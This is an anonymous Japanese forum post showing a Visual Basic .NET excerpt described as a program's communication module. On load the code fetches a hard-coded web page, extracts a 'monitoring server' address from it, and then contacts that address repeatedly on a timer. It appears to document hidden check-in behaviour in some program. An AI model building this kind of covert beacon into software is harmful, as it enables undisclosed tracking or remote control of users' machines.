07/12/24 14:12:05 vSGEO8zs
>>258
通信部のプログラム。URLﾘﾝｸ(darkhouse.milan.jp) にアクセスして、
監視サーバーのアドレスを取得しさらにタイマーで継続的にアクセス。
Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
If bNowebF = False Then
If bAccessTested = False Then
DestU = Mid$(WebBrowser1.DocumentText, 168)
DestU = Mid$(DestU, 1, Len(DestU) - 22)
bAccessTested = True
End If : End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable() Then
WebBrowser1.Navigate(New Uri("URLﾘﾝｸ(darkhouse.milan.jp)"))
Else
bNowebF = True : Timer1.Enabled = False
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If bNowebF = False Then
If Microsoft.VisualBasic.Left(DestU, 1) = "h" Then _
WebBrowser1.Navigate(New Uri(DestU))
End If
End Sub